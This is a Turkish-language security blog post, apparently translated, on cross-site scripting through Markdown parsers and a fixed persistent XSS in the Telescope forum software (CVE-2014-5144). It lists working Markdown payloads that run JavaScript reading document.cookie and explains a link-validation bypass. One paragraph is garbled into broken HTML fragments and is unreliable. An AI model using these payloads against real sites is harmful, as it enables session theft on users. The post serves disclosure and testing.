Markdown Aracılığıyla Markdown Söz Diziminden ve Telescope Persistent XSS’den Yararlanma (CVE-2014-5144)


Markdown Sözdiziminden Yararlanma

Markdown harika. Aslında bu blog yazısının kendisi Markdown’da yazılmıştır. Bağlantılar, tablolar gibi basit şeyler için uzun, gereksiz HTML kullanmama gerek yok. code blocks ve listeler. Metinlerle kelime oluşturmak gibi basit şeyler yapmak için de yolumdan çekilmeme gerek yok gözü pek veya italik. Son beş yılda Markdown büyük ilgi gördü. Artık Reddit, Github, StackOverflow ve daha pek çok kişi tarafından kullanılıyor. Ek olarak, Markdown’ın start-up’lar tarafından piyasaya sürülen yeni uygulamalarda giderek daha popüler hale geldiği görülüyor. Bu hareketin yanı sıra, yıllar içinde çok sayıda Markdown ayrıştırma kütüphanesi piyasaya sürüldü.

Markdown için resmi olmayan/genel spesifikasyonlara bakıldığında, Markdown’un sağladığı geniş bir sözdizimi yelpazesi ve daha sonra Markdown ayrıştırıcıları tarafından ayrıştırılıp HTML’ye dönüştürülen sözdizimi önerilmektedir.

Ne yazık ki ya da neyse ki (insanların bakış açısına göre), Markdown’un işlenmesi ve ayrıştırılması konusunda herhangi bir standartlaştırma yoktur. Bu tamamen Markdown ayrıştırma kütüphanesinin geliştiricisine bırakılmıştır. Daha önce de belirtildiği gibi, bu tür bir ayrıştırma için çok sayıda kütüphanenin mevcut olması nedeniyle, sanitasyon konusunda çok önemli bir kararın verilmesi gerekmektedir. Bu:

Temizleme işini Markdown kütüphanesi mi yapmalı, yoksa temizleme işi kütüphanenin sorumluluğunda olmamalı mı?

Ancak görünen o ki çoğu kitaplık, Markdown ayrıştırıcısına verilen kullanıcı girdisinin temizlenmesi için sağlam bir temel sağlamıyor. Mantıksal olarak, Markdown’un genellikle nerede kullanıldığını düşünürsek: yani yorumlar ve kullanıcı içeriği, Markdown kütüphanelerindeki temizlik eksikliğinin, geliştiricilerin Markdown’ı farkında olmadan kullanmalarına neden olabileceğini hemen fark ederiz. Hala kullanıcı girişini kendi uçlarında manuel olarak temizlemeniz ve doğrulamanız gerekir. Referans olması açısından burada bu konuyla ilgili bazı tartışmalar var: [1], [2], [3].

Ayrıca Google’da basit bir arama yaparsanız: markdown xss issue site:github.com – çok sayıda geçerli sonuç elde edersiniz. Bu tür sorunlarla ilgili bulunan bazı repolar, 10 yıldızdan 12 bin yıldıza kadar değişmektedir.

http://i.imgur.com/YGhvYJf.png

Peki Markdown ayrıştırıcılarından yararlanmaya ne dersiniz? Sorun değil.

Lütfen aşağıdaki vektörlere bakın:

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
  
  
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

Bu vektörler başlangıçta arkadaşım Aleksa ve ben tarafından, markdown’ı aktif olarak kullanan hizmetlerde Markdown ile ilgili güvenlik açıklarını kontrol etmek amacıyla geliştirildi. Yaklaşık son 12 ay boyunca, yukarıdaki Markdown istismar vektörlerinin, sızma testlerinde ve genel hata avcılığında son derece başarılı olduğu kanıtlanmıştır.

Yukarıdaki vektörler uç durumları hedef alır ve Markdown kitaplıklarının çoğunluğu HALA savunmasızdır. Örneğin, listedeki son vektöre bir göz atalım:

[test](javascript://%0d%0aprompt(1);com)

Öyleyse, bir bağlantıyı doğrulamaya çalışan Markdown ayrıştırıcısının mantığının bu olduğunu düşünelim:

  1. Bağlantının şeması var mı? Evet. javascript://
  2. Bağlantı bilinen bir sonla mı bitiyor (com, org vb.)? Evet. com
  3. Bu nedenle, onu HTML’ye dönüştürelim!
test  

Yukarıdaki bağlantı, tıklandığında yeni satır kontrol karakterlerinden (%0d%0a) sonra konulan yükü çalıştıracaktır. XSS vektörümüzü, bir bağlantıya benzeyen ancak gerçekte” t.=”” the=”” Vector=””gösterilmektedir=”” Above=”” is=”” most=” olan bir şeye başarılı bir şekilde yerleştirmeyi başardık. ” etkili = “” on = “” ayrıştırıcılar = “” hangi = “” kullanım = “” rahat = “” regex = “” to = “” doğrulama = “” geçerlilik = “” of = “” a = “” bağlantı .=””>


İşaretleme Yoluyla Teleskop Kalıcı XSS ​​(CVE-2014-5144)

Telescope, Reddit ve Hackernews’e benzer topluluklar oluşturmak ve çalıştırmak için yazılım (Meteor.js üzerine kurulu) sağlamayı amaçlayan harika bir açık kaynaklı projedir. Uzun süredir Telescope’ta bulunan bir özelliğin (yorumlar ve ileti dizileri için Markdown ayrıştırma) siteler arası komut dosyası çalıştırmaya karşı savunmasız olduğu tespit edildi.

Özellikle, Telescope’un 0.9.3’ten önceki sürümlerinde, yukarıdaki listemden basit bir XSS vektörü, yorumlara veya başlıklara isteğe bağlı javascript yerleştirmek için kullanılabilir. Bu durum düzeltildi ve buradaki değişiklik günlüğünde bununla ilgili bir açıklama bulabilirsiniz: http://www.telesc.pe/blog/telescope-v093-dailyscope/

Bu güvenlik açığından yararlanmak için kullanılan vektörler:

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

img1
img2

Not: Bu istismar Telescope’un tüm sürümlerinde >= 0.9.3 düzeltildi.


Markdown kullanımı için daha fazla vektör bulursanız, bunları burada bulunan küçük şeytani depomuza katkıda bulunmaktan çekinmeyin.



Source link